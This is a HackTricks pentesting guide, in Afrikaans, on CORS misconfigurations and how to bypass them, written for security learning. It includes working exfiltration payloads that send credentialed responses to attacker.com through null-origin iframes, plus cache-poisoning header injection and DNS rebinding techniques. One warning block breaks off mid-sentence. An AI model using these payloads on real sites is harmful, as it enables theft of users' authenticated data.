hacktricks/pentesting-web/cors-bypass.md

# CORS - Misconfigurations & Bypass

<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.

</details>

## Wat is CORS?

Cross-Origin Resource Sharing (CORS) standaard **stel bedieners in staat om te bepaal wie toegang tot hul bates kan verkry** en **watter HTTP-aanvraagmetodes toegelaat word** vanaf eksterne bronne.

'n **Selfde-oorsprong**-beleid vereis dat 'n **bediener wat 'n bron aanvra** en die bediener wat die **bron herberg** dieselfde protokol (bv. `http://`), domeinnaam (bv. `internal-web.com`), en **poort** (bv. 80) deel. Onder hierdie beleid word slegs webbladsye van dieselfde domein en poort toegelaat om toegang tot die bronne te verkry.

Die toepassing van die selfde-oorsprong-beleid in die konteks van `http://normal-website.com/example/example.html` word as volg geïllustreer:

| Geaktiveerde URL                           | Toegang toegelaat?                  |
| ----------------------------------------- | ---------------------------------- |
| `http://normal-website.com/example/`      | Ja: Identiese skema, domein en poort |
| `http://normal-website.com/example2/`     | Ja: Identiese skema, domein en poort |
| `https://normal-website.com/example/`     | Nee: Verskillende skema en poort    |
| `http://en.normal-website.com/example/`   | Nee: Verskillende domein             |
| `http://www.normal-website.com/example/`  | Nee: Verskillende domein             |
| `http://normal-website.com:8080/example/` | Nee: Verskillende poort*             |

*Internet Explorer ignoreer die poortnommer in die afdwinging van die selfde-oorsprong-beleid, wat toegang toelaat.

### `Access-Control-Allow-Origin`-kop

Hierdie kop kan **verskeie oorspronge**, 'n **`null`**-waarde, of 'n wildkaart **`*`** toelaat. Tog ondersteun **geen webblaaier verskeie oorspronge nie**, en die gebruik van die wildkaart `*` is onderhewig aan **beperkings**. (Die wildkaart moet alleen gebruik word, en dit mag nie saam met `Access-Control-Allow-Credentials: true` gebruik word nie.)

Hierdie kop word **deur 'n bediener** uitgereik as antwoord op 'n kruis-domein-bronaanvraag wat deur 'n webwerf geïnisieer word, met die blaaier wat outomaties 'n `Origin`-kop byvoeg.

### `Access-Control-Allow-Credentials`-kop

Standaard word kruis-domein-aanvrae sonder geloofsbriewe soos koekies of die Authorization-kop gemaak. Tog kan 'n kruis-domein-bediener die lees van die respons toelaat wanneer geloofsbriewe gestuur word deur die `Access-Control-Allow-Credentials`-kop na **`true`** in te stel.

Indien gestel op `true`, sal die blaaier geloofsbriewe (koekies, outorisasiekoppe of TLS-kliëntsertifikate) oordra.
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```

```javascript
fetch(url, {
credentials: 'include'
})
```

```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF Voorafgaande versoek

### Begrip van Voorafgaande Versoeke in Kruis-Domein Kommunikasie

Wanneer 'n kruis-domein versoek onder spesifieke omstandighede geïnisieer word, soos die gebruik van 'n **nie-standaard HTTP-metode** (enige iets anders as HEAD, GET, POST), die invoer van nuwe **koppe** of die gebruik van 'n spesiale **Content-Type kopwaarde**, kan 'n voorafgaande versoek vereis word. Hierdie voorlopige versoek, wat die **`OPTIONS`** metode gebruik, dien om die bedoelings van die komende kruis-oorsprong versoek aan die bediener te kommunikeer, insluitend die HTTP-metodes en koppe wat dit van plan is om te gebruik.

Die **Cross-Origin Resource Sharing (CORS)**-protokol vereis hierdie voorafgaande kontrole om die uitvoerbaarheid van die versoekte kruis-oorsprong operasie te bepaal deur die toegelate metodes, koppe en die betroubaarheid van die oorsprong te verifieer. Vir 'n gedetailleerde begrip van watter omstandighede die behoefte aan 'n voorafgaande versoek omseil, raadpleeg die omvattende gids wat deur [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) verskaf word.

Dit is belangrik om daarop te let dat die **afwesigheid van 'n voorafgaande versoek nie die vereiste vir die respons om outorisasie-koppe te dra, ontkrag nie**. Sonder hierdie koppe is die webblaaier nie in staat om die respons van die kruis-oorsprong versoek te verwerk nie.

Oorweeg die volgende illustrasie van 'n voorafgaande versoek wat daarop gemik is om die `PUT`-metode saam met 'n aangepaste kop genaamd `Special-Request-Header` te gebruik:
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
In reaksie kan die bediener koppele terugstuur wat die aanvaarde metodes, die toegelate oorsprong en ander CORS-beleidsbesonderhede aandui, soos hieronder getoon:
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
- **`Access-Control-Allow-Headers`**: Hierdie kop spesifiseer watter koppe gebruik kan word tydens die werklike versoek. Dit word deur die bediener ingestel om die toegelate koppe in versoek van die kliënt aan te dui.
- **`Access-Control-Expose-Headers`**: Deur hierdie kop gee die bediener aan die kliënt inligting oor watter koppe as deel van die respons blootgestel kan word, behalwe die eenvoudige responskoppe.
- **`Access-Control-Max-Age`**: Hierdie kop dui aan hoe lank die resultate van 'n voorafgaande versoek in die kas gestoor kan word. Die bediener stel die maksimum tyd, in sekondes, vas wat die inligting wat deur 'n voorafgaande versoek teruggekeer word, hergebruik kan word.
- **`Access-Control-Request-Headers`**: Hierdie kop word in voorafgaande versoek gestel en deur die kliënt gebruik om die bediener in te lig oor watter HTTP-koppe die kliënt in die werklike versoek wil gebruik.
- **`Access-Control-Request-Method`**: Hierdie kop, ook in voorafgaande versoek gebruik, word deur die kliënt gestel om aan te dui watter HTTP-metode in die werklike versoek gebruik sal word.
- **`Origin`**: Hierdie kop word outomaties deur die webblaaier ingestel en dui die oorsprong van die kruis-oorsprong versoek aan. Dit word deur die bediener gebruik om te bepaal of die inkomende versoek toegelaat of geweier moet word op grond van die CORS-beleid.

Let daarop dat gewoonlik (afhangende van die inhoudstipe en koppe wat ingestel is) in 'n **GET/POST-versoek geen voorafgaande versoek gestuur word** (die versoek word **direk** gestuur), maar as jy toegang wil hê tot die **koppe/liggaam van die respons**, moet dit 'n _Access-Control-Allow-Origin_ kop bevat wat dit toelaat.\
**Daarom beskerm CORS nie teen CSRF nie (maar dit kan nuttig wees).**

### **Voorafgaande versoek vir plaaslike netwerkversoeke**

1. **`Access-Control-Request-Local-Network`**: Hierdie kop word ingesluit in die versoek van die kliënt om aan te dui dat die navraag gerig is op 'n plaaslike netwerkbron. Dit dien as 'n merker om die bediener in te lig dat die versoek afkomstig is van binne die plaaslike netwerk.

2. **`Access-Control-Allow-Local-Network`**: In reaksie gebruik bedieners hierdie kop om te kommunikeer dat die versoekte bron toegelaat word om gedeel te word met entiteite buite die plaaslike netwerk. Dit dien as 'n groen lig vir die deling van hulpbronne oor verskillende netwerkgrense, terwyl beheerde toegang en sekuriteitsprotokolle gehandhaaf word.

'n **Geldige respons wat die plaaslike netwerkversoek toelaat**, moet ook die kop `Access-Controls-Allow-Local_network: true` in die respons hê:
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
Let daarop dat die linux **0.0.0.0** IP gebruik kan word om hierdie vereistes te **omseil** om toegang tot die localhost te verkry, aangesien daardie IP-adres nie as "plaaslik" beskou word nie.

Dit is ook moontlik om die vereistes van die plaaslike netwerk te **omseil** as jy die **openbare IP-adres van 'n plaaslike eindpunt** gebruik (soos die openbare IP van die router). Want in verskeie gevalle, selfs as die **openbare IP** benader word, as dit **van die plaaslike netwerk** af is, sal toegang verleen word.


{% endhint %}

## Uitbuitbare verkeerde konfigurasies

Daar is waargeneem dat die instelling van `Access-Control-Allow-Credentials` op **`true`** 'n voorvereiste is vir die meeste **werklike aanvalle**. Hierdie instelling maak dit vir die blaaier moontlik om geloofsbriewe te stuur en die respons te lees, wat die aanval se doeltreffendheid verbeter. Sonder dit verminder die voordeel van 'n blaaier wat 'n versoek uitreik in plaas daarvan om dit self te doen, aangesien dit onprakties word om 'n gebruiker se koekies te benut.

### Uitsondering: Uitbuiting van Netwerklokasie as Verifikasie

Daar is 'n uitsondering waar die slagoffer se netwerklokasie as 'n vorm van verifikasie optree. Dit maak dit moontlik vir die slagoffer se blaaier om as 'n proksi gebruik te word, wat IP-gebaseerde verifikasie omseil om toegang tot intranettoepassings te verkry. Hierdie metode het ooreenkomste met DNS-herbinding wat impak betref, maar is makliker om uit te buit.

### Weerspieëling van `Origin` in `Access-Control-Allow-Origin`

Die werklike scenario waar die waarde van die `Origin`-kop in `Access-Control-Allow-Origin` weerspieël word, is teoreties onwaarskynlik as gevolg van beperkings op die kombinasie van hierdie koppe. Tog kan ontwikkelaars wat CORS vir verskeie URL's wil aktiveer, die `Access-Control-Allow-Origin`-kop dinamies genereer deur die waarde van die `Origin`-kop te kopieer. Hierdie benadering kan kwesbaarhede inbring, veral wanneer 'n aanvaller 'n domein met 'n naam gebruik wat ontwerp is om legitiem te lyk en sodoende die valideringslogika te mislei.
```html
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
```
### Uitbuiting van die `null` Oorsprong

Die `null` oorsprong, wat gespesifiseer word vir situasies soos omleidings of plaaslike HTML-lêers, het 'n unieke posisie. Sommige toepassings lys hierdie oorsprong op om plaaslike ontwikkeling te fasiliteer, sonder om te besef dat enige webwerf 'n `null` oorsprong kan naboots deur middel van 'n gesandbokste ifram, en sodoende CORS-beperkings omseil.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Gereelde Uitdrukkings Bypass Tegnieke

Wanneer jy te doen kry met 'n domein witlys, is dit noodsaaklik om te toets vir omseilingsgeleenthede, soos die byvoeging van die aanvaller se domein by 'n witgelyste domein of die uitbuiting van subdomein-oorgeneemde kwesbaarhede. Daarbenewens kan gereelde uitdrukkings wat gebruik word vir domeinvalidering, subtiliteite in domeinnaamkonvensies oorsien, wat verdere omseilingsgeleenthede bied.

### Gevorderde Gereelde Uitdrukkings Omseilings

Gereelde uitdrukkingspatrone fokus tipies op alfanumeriese, punt (.) en strepies (-) karakters, waarby ander moontlikhede oor die hoof gesien word. Byvoorbeeld, 'n domeinnaam wat ontwerp is om karakters in te sluit wat deur webblaaier en gereelde uitdrukkingspatrone verskillend geïnterpreteer word, kan sekuriteitskontroles omseil. Safari, Chrome en Firefox se hantering van onderstrepingskarakters in subdomeine illustreer hoe sulke verskille benut kan word om domeinvalideringslogika te omseil.

**Vir meer inligting en instellings van hierdie omseilingstoets:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **en** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)

### Vanaf XSS binne 'n subdomein

Ontwikkelaars implementeer dikwels verdedigingsmeganismes om te beskerm teen CORS-uitbuiting deur domeine wat toegelaat word om inligting aan te vra, op 'n witlys te plaas. Ten spyte van hierdie voorbehoud is die stelsel se sekuriteit nie waterdig nie. Die teenwoordigheid van selfs 'n enkele kwesbare subdomein binne die witgelyste domeine kan die deur oopmaak vir CORS-uitbuiting deur ander kwesbaarhede, soos XSS (Cross-Site Scripting).

Om dit te illustreer, oorweeg die scenario waar 'n domein, `requester.com`, op die witlys geplaas word om toegang tot hulpbronne van 'n ander domein, `provider.com`, te verkry. Die bedienerkant-konfigurasie kan iets soos dit lyk:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}
```
In hierdie opset word toegang tot alle subdomeine van `requester.com` toegelaat. As 'n subdomein, byvoorbeeld `sub.requester.com`, egter gekompromitteer word met 'n XSS-gebrek, kan 'n aanvaller hierdie swakheid benut. Byvoorbeeld, 'n aanvaller met toegang tot `sub.requester.com` kan die XSS-gebrek uitbuit om CORS-beleide te omseil en kwaadwillig toegang te verkry tot hulpbronne op `provider.com`.


### **Bedienerkant-cachevergiftiging**

**[Vanaf hierdie navorsing](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**

Dit is moontlik dat deur bedienerkant-cachevergiftiging te benut deur middel van HTTP-kopinspuiting, 'n gestoorde Cross-Site Scripting (XSS)-gebrek geïnduseer kan word. Hierdie scenario ontvou wanneer 'n toepassing nie die `Origin`-kop vir onwettige karakters sanitiseer nie, wat 'n kwesbaarheid skep, veral vir Internet Explorer- en Edge-gebruikers. Hierdie webblaaier behandel `\r` (0x0d) as 'n legitieme HTTP-kopterminator, wat lei tot HTTP-kopinspuitingskwesbaarhede.

Oorweeg die volgende versoek waar die `Origin`-kop gemanipuleer word:
```text
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer en Edge interpreteer die respons as:
```text
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Terwyl dit nie prakties is om hierdie kwesbaarheid direk uit te buit deur 'n webblaaier 'n verkeerde kop te laat stuur nie, kan 'n gekonstrueerde versoek handmatig gegenereer word met behulp van hulpmiddels soos Burp Suite. Hierdie metode kan lei tot 'n bedienerkant-cache wat die respons stoor en dit onbedoeld aan ander dien. Die gekonstrueerde lading is daarop gemik om die karakterstel van die bladsy te verander na UTF-7, 'n karakterenkodering wat dikwels geassosieer word met XSS-kwesbaarhede as gevolg van sy vermoë om karakters op 'n manier te enkodeer wat as skrips uitgevoer kan word in sekere kontekste.

Vir verdere lees oor gestoorde XSS-kwesbaarhede, sien [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).

**Opmerking**: Die uitbuiting van HTTP-kopinspuitingskwesbaarhede, veral deur bedienerkant-cachevergiftiging, beklemtoon die kritieke belangrikheid van die validering en sanitisering van alle gebruikersverskafte insette, insluitend HTTP-koppe. Maak altyd gebruik van 'n robuuste sekuriteitsmodel wat insetvalidering insluit om sulke kwesbaarhede te voorkom.


### **Kliëntkant-cachevergiftiging**

**[Van hierdie navorsing](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**

In hierdie scenario word 'n geval van 'n webbladsy waargeneem wat die inhoud van 'n aangepaste HTTP-kop sonder behoorlike enkodering weerspieël. Spesifiek weerspieël die webbladsy die inhoud wat in 'n `X-User-id`-kop ingesluit is, wat kwaadwillige JavaScript kan insluit, soos gedemonstreer deur die voorbeeld waar die kop 'n SVG-beeldtag bevat wat ontwerp is om JavaScript-kode by die laai uit te voer.

Cross-Origin Resource Sharing (CORS)-beleide maak die stuur van aangepaste koppe moontlik. Sonder dat die blaaier die respons direk weergee as gevolg van CORS-beperkings, mag die nut van so 'n inspuiting beperk lyk. Die kritieke punt ontstaan wanneer die blaaier se cache-gedrag oorweeg word. As die `Vary: Origin`-kop nie gespesifiseer word nie, word dit moontlik dat die kwaadwillige respons deur die blaaier gestoor kan word. Hierdie gestoorde respons kan vervolgens direk weergegee word wanneer na die URL genavigeer word, sonder die behoefte aan direkte weergawe tydens die aanvanklike versoek. Hierdie meganisme verbeter die betroubaarheid van die aanval deur gebruik te maak van kliëntkant-cache.

Om hierdie aanval te illustreer, word 'n JavaScript-voorbeeld verskaf wat ontwerp is om uitgevoer te word in die omgewing van 'n webbladsy, soos deur 'n JSFiddle. Hierdie skrips voer 'n eenvoudige aksie uit: dit stuur 'n versoek na 'n gespesifiseerde URL met 'n aangepaste kop wat die kwaadwillige JavaScript bevat. Na suksesvolle voltooiing van die versoek, probeer dit na die teiken-URL navigeer, wat moontlik die uitvoering van die ingeslote skrips kan veroorsaak as die respons gestoor is sonder behoorlike hantering van die `Vary: Origin`-kop.

Hier is 'n opsomming van die gebruikte JavaScript om hierdie aanval uit te voer:
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## Omsingeling

### XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, ook bekend as Cross-Site Script Inclusion, is 'n tipe kwesbaarheid wat gebruik maak van die feit dat die Same Origin Policy (SOP) nie van toepassing is wanneer hulpbronne ingesluit word met behulp van die skripsie-etiket nie. Dit is omdat skripsies vanaf verskillende domeine ingesluit moet kan word. Hierdie kwesbaarheid stel 'n aanvaller in staat om toegang te verkry tot enige inhoud wat ingesluit is met behulp van die skripsie-etiket.

Hierdie kwesbaarheid word veral belangrik wanneer dit kom by dinamiese JavaScript of JSONP (JSON met Padding), veral wanneer omgewingsgesag-inligting soos koekies gebruik word vir outentisering. Wanneer 'n hulpbron van 'n ander gasheer aangevra word, word die koekies ingesluit, wat dit vir die aanvaller toeganklik maak.

Om hierdie kwesbaarheid beter te verstaan en te verminder, kan jy die BurpSuite-inprop gebruik wat beskikbaar is by [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Hierdie inprop kan help om potensiële XSSI-kwesbaarhede in jou webtoepassings te identifiseer en aan te spreek.

[**Lees meer oor die verskillende tipes XSSI en hoe om dit uit te buit hier.**](xssi-cross-site-script-inclusion.md)

Probeer om 'n **`callback`** **parameter** by die versoek te voeg. Miskien is die bladsy voorberei om die data as JSONP te stuur. In daardie geval sal die bladsy die data terugstuur met `Content-Type: application/javascript`, wat die CORS-beleid sal omseil.

![](<../.gitbook/assets/image (229).png>)

### Maklike (nuttelose?) omsingeling

Een manier om die `Access-Control-Allow-Origin`-beperking te omseil, is deur 'n webtoepassing te versoek om 'n versoek namens jou te maak en die respons terug te stuur. In hierdie scenario sal die legitimasie van die finale slagoffer nie gestuur word nie, aangesien die versoek na 'n ander domein gemaak word.

1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Hierdie instrument bied 'n proksi wat jou versoek saam met sy koppe deurstuur, terwyl dit ook die Origin-kopie vervals om ooreen te stem met die versoekte domein. Dit omseil effektief die CORS-beleid. Hier is 'n voorbeeld van gebruik met XMLHttpRequest:

2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Hierdie instrument bied 'n alternatiewe benadering tot proksi-versoeke. In plaas daarvan om jou versoek soos dit is deur te gee, maak die bediener sy eie versoek met die gespesifiseerde parameters.

### Iframe + Popup Omsingeling

Jy kan **CORS-toetse omseil**, soos `e.origin === window.origin`, deur 'n ifram te skep en van daar af 'n nuwe venster oop te maak. Meer inligting in die volgende bladsy:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### DNS Rebinding via TTL

DNS rebinding via TTL is 'n tegniek wat gebruik word om sekere sekuriteitsmaatreëls te omseil deur DNS-rekords te manipuleer. So werk dit:

1. Die aanvaller skep 'n webbladsy en laat die slagoffer dit besoek.
2. Die aanvaller verander dan die DNS (IP) van hul eie domein om na die slagoffer se webbladsy te verwys.
3. Die slagoffer se blaaier stoor die DNS-respons, wat 'n TTL (Time to Live) waarde kan hê wat aandui hoe lank die DNS-rekord as geldig beskou moet word.
4. Wanneer die TTL verval, maak die slagoffer se blaaier 'n nuwe DNS-versoek, wat die aanvaller in staat stel om JavaScript-kode op die slagoffer se bladsy uit te voer.
5. Deur beheer oor die IP van die slagoffer te behou, kan die aanvaller inligting van die slagoffer versamel sonder om enige koekies na die slagofferbediener te stuur.

Dit is belangrik om daarop te let dat blaaier kantvergrendelingsmeganismes het wat dadelike misbruik van hierdie tegniek mag voorkom, selfs met lae TTL-waardes.

DNS rebinding kan nuttig wees om eksplisiete IP-kontroles wat deur die slagoffer uitgevoer word, te omseil, of vir scenario's waar 'n gebruiker of robot vir 'n lang tydperk op dieselfde bladsy bly, wat die cache laat verval.

As jy 'n vinnige manier nodig het om DNS rebinding te misbruik, kan jy dienste soos [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) gebruik.

Om jou eie DNS rebinding-bediener te bedryf, kan jy gereedskap soos **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gebruik. Dit behels die blootstelling van jou plaaslike poort 53/udp, die skep van 'n A-rekord wat daarna verwys (bv. ns.example.com), en die skep van 'n NS-rekord wat na die vorige geskepte A-subdomein verwys (bv. ns.example.com). Enige subdomein van die ns.example.com-subdomein sal dan deur jou gasheer opgelos word.

Jy kan ook 'n openbare bediener verken by [http://rebind.it/singularity.html](http://rebind.it/singularity.html) vir verdere begrip en eksperimentering.

### DNS Rebinding via **DNS-cache-oorstroming**

DNS rebinding via DNS-cache-oorstroming is 'n ander tegniek wat gebruik word om die kasgeheue van blaaier te omseil en 'n tweede DNS-versoek af te dwing. So werk dit:

1. Aanvanklik, wanneer die slagoffer 'n DNS-versoek maak, word daar gereageer met die IP-adres van die aanvaller.
2. Om die kasverdediging te omseil, maak die aanvaller gebruik van 'n dienswerker. Die dienswerker oorstroom die DNS-kas, wat die gekasgeheueerde aanvallerbediener se naam effektief uitvee.
3. Wanneer die slagoffer se blaaier 'n tweede DNS-versoek maak, word daar nou gereageer met die IP-adres 127.0.0.1, wat tipies na die plaaslike gasheer verwys.

Deur die DNS-kas met die dienswerker te oorstroom, kan die aanvaller die DNS-oplossingsproses manipuleer en die slagoffer se blaaier dwing om 'n tweede versoek te maak wat hierdie keer na die gewenste IP-adres van die aanvaller oplos.

### DNS Rebinding via **Kas**

'n Ander manier om die kasverdediging te omseil, is deur gebruik te maak van verskeie IP-adresse vir dieselfde subdomein in die DNS-leweransier. So werk dit:

1. Die aanvaller stel twee A-rekords (of 'n enkele A-rekord met twee IP-adresse) op vir dieselfde subdomein in die DNS-leweransier.
2. Wanneer 'n blaaier hierdie rekords nagaan, ontvang dit beide IP-adresse.
3. As die blaaier besluit om die aanvaller se IP-adres eerste te gebruik, kan die aanvaller 'n nutslading dien wat HTTP-versoeke na dieselfde domein uitvoer.
4. Sodra die aanvaller egter die slagoffer se IP-adres verkry, hou hulle op om op die slagoffer se blaaier te reageer.
5. Die slagoffer se blaaier, nadat dit besef dat die domein onbeskikbaar is, gaan voort om die tweede gegee IP-adres te gebruik.
6. Deur toegang tot die tweede IP-adres te verkry, omseil die blaaier die Same Origin Policy (SOP), wat die aanvaller in staat stel om hierdie te misbruik en inligting van die slagoffer te versamel en uit te voer.

Hierdie tegniek maak gebruik van die gedrag van blaaier wanneer verskeie IP-adresse vir 'n domein verskaf word. Deur die antwoorde strategies te beheer en die blaaier se keuse van IP-adres te manipuleer, kan 'n aanvaller die SOP uitbuit en toegang verkry tot inligting van die slagoffer.

{% hint style="warning" %}
Let daarop dat jy, om toegang tot localhost te verkry, moet probeer om **127.0.0.1** in Windows en **0.0.0.0** in Linux te herbind.\
Verskaffers soos godaddy of cloudflare het my nie toeg
### Ander algemene omseilings

* As **interne IP-adresse nie toegelaat word nie**, het hulle dalk **vergeet om 0.0.0.0 te verbied** (werk op Linux en Mac)
* As **interne IP-adresse nie toegelaat word nie**, reageer met 'n **CNAME** na **localhost** (werk op Linux en Mac)
* As **interne IP-adresse nie toegelaat word nie** as DNS-antwoorde nie, kan jy **CNAMEs na interne dienste** soos www.corporate.internal antwoord.

### Gewapende DNS Rebidding

Jy kan meer inligting oor die vorige omseilings tegnieke en hoe om die volgende instrument te gebruik, vind in die praatjie [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).

[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n instrument om [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam te herbind na die teikermasjien se IP-adres en om aanvalspakketten te bedien om kwesbare sagteware op die teikermasjien uit te buit.

### Werklike beskerming teen DNS Rebinding

* Gebruik TLS in interne dienste
* Versoek verifikasie om toegang tot data te verkry
* Valideer die Host-kop
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Voorstel om altyd 'n voorafgaande versoek te stuur wanneer openbare bedieners toegang tot interne bedieners wil verkry

## **Instrumente**

**Fuzz moontlike verkeerde konfigurasies in CORS-beleide**

* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)

## Verwysings
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)


<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>